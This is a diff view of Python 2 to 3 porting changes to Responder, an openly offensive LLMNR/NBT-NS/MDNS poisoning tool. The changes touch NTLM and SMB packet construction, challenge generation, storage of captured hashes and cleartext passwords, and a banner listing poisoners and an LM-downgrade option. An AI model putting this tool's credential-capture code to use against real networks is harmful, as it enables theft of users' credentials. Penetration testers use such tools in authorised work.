self.fields["ChoosedTagLen"] = struct.pack("<i", len(SecurityBlobLen)-6)[:1] self.fields["ChoosedTagLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-6)[:1]
self.fields["ChoosedTag1StrLen"] = struct.pack("<i", len(SecurityBlobLen)-8)[:1] self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-8)[:1]
##### Username Offset Calculation..###### ##### Username Offset Calculation..######
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = struct.pack("<i", len(CalculateUserOffset)) self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateUserOffset))
self.fields["NLMPAuthMsgNtUserNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2] self.fields["NLMPAuthMsgNtUserNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2] self.fields["NLMPAuthMsgNtUserNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
##### Domain Offset Calculation..###### ##### Domain Offset Calculation..######
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = struct.pack("<i", len(CalculateDomainOffset)) self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateDomainOffset))
self.fields["NLMPAuthMsgNtDomainNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2] self.fields["NLMPAuthMsgNtDomainNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2] self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
##### Workstation Offset Calculation..###### ##### Workstation Offset Calculation..######
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateWorkstationOffset)) self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateWorkstationOffset))
self.fields["NLMPAuthMsgNtWorkstationLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2] self.fields["NLMPAuthMsgNtWorkstationLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2] self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
##### NT Challenge Offset Calculation..###### ##### NT Challenge Offset Calculation..######
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = struct.pack("<i", len(CalculateNTChallengeOffset)) self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateNTChallengeOffset))
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2] self.fields["NLMPAuthMsgNtChallengeResponseLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2] self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
##### LM Challenge Offset Calculation..###### ##### LM Challenge Offset Calculation..######
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = struct.pack("<i", len(CalculateLMChallengeOffset)) self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateLMChallengeOffset))
self.fields["NLMPAuthMsgLMChallengeLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2] self.fields["NLMPAuthMsgLMChallengeLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2] self.fields["NLMPAuthMsgLMChallengeMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
###################################################################################################### ######################################################################################################
@ -336,7 +345,7 @@ class SMBTreeConnectData(Packet):
("PasswdLen", "\x01\x00"), ("PasswdLen", "\x01\x00"),
("Bcc","\x2f\x00"), ("Bcc","\x2f\x00"),
("Passwd", "\x00"), ("Passwd", "\x00"),
("Path",""), ("Path","IPC$"),
("PathTerminator","\x00\x00"), ("PathTerminator","\x00\x00"),
("Service","?????"), ("Service","?????"),
("Terminator", "\x00"), ("Terminator", "\x00"),
@ -345,19 +354,19 @@ class SMBTreeConnectData(Packet):
def calculate(self): def calculate(self):
##Convert Path to Unicode first before any Len calc. ##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le') self.fields["Path"] = self.fields["Path"].encode('utf-16le').decode('latin-1')
##Passwd Len ##Passwd Len
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2] self.fields["PasswdLen"] = StructWithLenPython2or3("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len ##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2] self.fields["Andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len ##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2] self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
class SMBTransRAPData(Packet): class SMBTransRAPData(Packet):
@ -394,17 +403,16 @@ class SMBTransRAPData(Packet):
else: else:
self.fields["PipeTerminator"] = "\x00\x00\x00" self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc. ##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le') self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le').decode('latin-1')
##Data Len ##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] self.fields["TotalParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] self.fields["ParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
##Packet len ##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"]) FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2] self.fields["ParamOffset"] = StructWithLenPython2or3("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len ##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"]) BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2] self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]

View file

@ -1,20 +1,9 @@
#!/usr/bin/env python import sys
# This file is part of Responder, a network take-over set of tools try:
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from UserDict import DictMixin from UserDict import DictMixin
except ImportError:
from collections import UserDict
from collections import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):
@ -64,9 +53,9 @@ class OrderedDict(dict, DictMixin):
if not self: if not self:
raise KeyError('dictionary is empty') raise KeyError('dictionary is empty')
if last: if last:
key = reversed(self).next() key = next(reversed(self))
else: else:
key = iter(self).next() key = next(iter(self))
value = self.pop(key) value = self.pop(key)
return key, value return key, value
@ -77,12 +66,22 @@ class OrderedDict(dict, DictMixin):
inst_dict = vars(self).copy() inst_dict = vars(self).copy()
self.__map, self.__end = tmp self.__map, self.__end = tmp
if inst_dict: if inst_dict:
return self.__class__, (items,), inst_dict return (self.__class__, (items,), inst_dict)
return self.__class__, (items,) return self.__class__, (items,)
def keys(self): def keys(self):
return list(self) return list(self)
if sys.version_info >= (3, 0):
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.keys
itervalues = DictMixin.values
iteritems = DictMixin.items
else:
setdefault = DictMixin.setdefault setdefault = DictMixin.setdefault
update = DictMixin.update update = DictMixin.update
pop = DictMixin.pop pop = DictMixin.pop
@ -95,7 +94,7 @@ class OrderedDict(dict, DictMixin):
def __repr__(self): def __repr__(self):
if not self: if not self:
return '%s()' % (self.__class__.__name__,) return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items()) return '%s(%r)' % (self.__class__.__name__, list(self.items()))
def copy(self): def copy(self):
return self.__class__(self) return self.__class__(self)
@ -110,8 +109,13 @@ class OrderedDict(dict, DictMixin):
def __eq__(self, other): def __eq__(self, other):
if isinstance(other, OrderedDict): if isinstance(other, OrderedDict):
return len(self)==len(other) and \ return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items())) min(p==q for p, q in zip(list(self.items()), list(other.items())))
return dict.__eq__(self, other) return dict.__eq__(self, other)
def __ne__(self, other): def __ne__(self, other):
return not self == other return not self == other
if __name__ == '__main__':
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']

198
utils.py
View file

@ -22,8 +22,21 @@ import socket
import time import time
import settings import settings
import datetime import datetime
import codecs
import struct
def RandomChallenge(): def RandomChallenge():
if settings.Config.PY2OR3 is "PY3":
if settings.Config.NumChal == "random":
from random import getrandbits
NumChal = b'%016x' % getrandbits(16 * 4)
Challenge = b''
for i in range(0, len(NumChal),2):
Challenge += NumChal[i:i+2]
return codecs.decode(Challenge, 'hex')
else:
return settings.Config.Challenge
else:
if settings.Config.NumChal == "random": if settings.Config.NumChal == "random":
from random import getrandbits from random import getrandbits
NumChal = '%016x' % getrandbits(16 * 4) NumChal = '%016x' % getrandbits(16 * 4)
@ -40,7 +53,7 @@ def HTTPCurrentDate():
try: try:
import sqlite3 import sqlite3
except: except:
print "[!] Please install python-sqlite3 extension." print("[!] Please install python-sqlite3 extension.")
sys.exit(0) sys.exit(0)
def color(txt, code = 1, modifier = 0): def color(txt, code = 1, modifier = 0):
@ -73,7 +86,7 @@ def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'): if ClientIp.startswith('127.0.0.'):
return False return False
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList: elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp print(color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp)
return False return False
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo: elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
return False return False
@ -94,10 +107,16 @@ def RespondToThisHost(ClientIp, Name):
return RespondToThisIP(ClientIp) and RespondToThisName(Name) return RespondToThisIP(ClientIp) and RespondToThisName(Name)
def RespondWithIPAton(): def RespondWithIPAton():
if settings.Config.PY2OR3 is "PY2":
if settings.Config.ExternalIP: if settings.Config.ExternalIP:
return settings.Config.ExternalIPAton return settings.Config.ExternalIPAton
else: else:
return settings.Config.IP_aton return settings.Config.IP_aton
else:
if settings.Config.ExternalIP:
return settings.Config.ExternalIPAton.decode('latin-1')
else:
return settings.Config.IP_aton.decode('latin-1')
def OsInterfaceIsSupported(): def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set": if settings.Config.Interface != "Not set":
@ -123,7 +142,7 @@ def FindLocalIP(Iface, OURIP):
return ret return ret
return OURIP return OURIP
except socket.error: except socket.error:
print color("[!] Error: %s: Interface not found" % Iface, 1) print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1) sys.exit(-1)
# Function used to write captured hashs to a file. # Function used to write captured hashs to a file.
@ -146,6 +165,34 @@ def DumpConfig(outfile, data):
with open(outfile,"a") as dump: with open(outfile,"a") as dump:
dump.write(data + '\n') dump.write(data + '\n')
def StructPython2or3(endian,data):
#Python2...
if settings.Config.PY2OR3 is "PY2":
return struct.pack(endian, len(data))
#Python3...
else:
return struct.pack(endian, len(data)).decode('latin-1')
def StructWithLenPython2or3(endian,data):
#Python2...
if settings.Config.PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if settings.Config.PY2OR3 is "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if settings.Config.PY2OR3 is "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
def CreateResponderDb(): def CreateResponderDb():
if not os.path.exists(settings.Config.DatabaseFile): if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
@ -162,7 +209,7 @@ def SaveToDb(result):
result[k] = '' result[k] = ''
if len(result['user']) < 2: if len(result['user']) < 2:
print color('[*] Skipping one character username: %s' % result['user'], 3, 1) print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
text("[*] Skipping one character username: %s" % result['user']) text("[*] Skipping one character username: %s" % result['user'])
return return
@ -184,7 +231,7 @@ def SaveToDb(result):
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit() cursor.commit()
@ -194,38 +241,38 @@ def SaveToDb(result):
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
if not count or settings.Config.Verbose: # Print output if not count or settings.Config.Verbose: # Print output
if len(result['client']): if len(result['client']):
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
if len(result['hostname']): if len(result['hostname']):
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
if len(result['user']): if len(result['user']):
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
# Bu order of priority, print cleartext, fullhash, or hash # Bu order of priority, print cleartext, fullhash, or hash
if len(result['cleartext']): if len(result['cleartext']):
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
elif len(result['fullhash']): elif len(result['fullhash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
elif len(result['hash']): elif len(result['hash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
# Appending auto-ignore list if required # Appending auto-ignore list if required
# Except if this is a machine account's hash # Except if this is a machine account's hash
if settings.Config.AutoIgnore and not result['user'].endswith('$'): if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client']) settings.Config.AutoIgnoreList.append(result['client'])
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
elif len(result['cleartext']): elif len(result['cleartext']):
print color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1) print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured cleartext password for %s' % result['user']) text('[*] Skipping previously captured cleartext password for %s' % result['user'])
else: else:
print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1) print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured hash for %s' % result['user']) text('[*] Skipping previously captured hash for %s' % result['user'])
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client'])) cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
cursor.commit() cursor.commit()
@ -250,11 +297,11 @@ def SavePoisonersToDb(result):
def Parse_IPV6_Addr(data): def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c": if data[len(data)-4:len(data)][1] ==b'\x1c':
return False return False
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True return True
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True return True
return False return False
@ -269,7 +316,7 @@ def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's per
for i in range(0, 32, 2): for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) return ''.join(list(filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))))
except: except:
return "Illegal NetBIOS name" return "Illegal NetBIOS name"
@ -295,72 +342,73 @@ def banner():
' |__|' ' |__|'
]) ])
print banner print(banner)
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print "" print('')
print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)" print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print " To kill this script hit CTRL-C" print(" To kill this script hit CTRL-C")
print "" print('')
def StartupMessage(): def StartupMessage():
enabled = color('[ON]', 2, 1) enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1) disabled = color('[OFF]', 1, 1)
print "" print('')
print color("[+] ", 2, 1) + "Poisoners:" print(color("[+] ", 2, 1) + "Poisoners:")
print ' %-27s' % "LLMNR" + enabled print(' %-27s' % "LLMNR" + enabled)
print ' %-27s' % "NBT-NS" + enabled print(' %-27s' % "NBT-NS" + enabled)
print ' %-27s' % "DNS/MDNS" + enabled print(' %-27s' % "DNS/MDNS" + enabled)
print "" print('')
print color("[+] ", 2, 1) + "Servers:" print(color("[+] ", 2, 1) + "Servers:")
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) print(' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled))
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) print(' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled))
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) print(' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled))
print ' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled) print(' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled))
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) print(' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled))
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) print(' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled))
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) print(' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled))
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) print(' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled))
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) print(' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled))
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) print(' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled))
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print ' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print "" print('')
print color("[+] ", 2, 1) + "HTTP Options:" print(color("[+] ", 2, 1) + "HTTP Options:")
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) print(' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled))
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) print(' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled))
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) print(' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled))
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) print(' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled))
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script #print(' %-27s' % "WPAD script" + settings.Config.WPAD_Script
print "" print('')
print color("[+] ", 2, 1) + "Poisoning Options:" print(color("[+] ", 2, 1) + "Poisoning Options:")
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) print(' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled))
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled))
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print "" print('')
print color("[+] ", 2, 1) + "Generic Options:" print(color("[+] ", 2, 1) + "Generic Options:")
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
if settings.Config.Upstream_Proxy: if settings.Config.Upstream_Proxy:
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
if len(settings.Config.RespondTo):
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) if len(settings.Config.RespondTo):
if len(settings.Config.RespondToName): print(' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1))
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) if len(settings.Config.RespondToName):
if len(settings.Config.DontRespondTo): print(' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1))
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) if len(settings.Config.DontRespondTo):
if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) if len(settings.Config.DontRespondToName):
print "\n\n" print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
print('\n\n')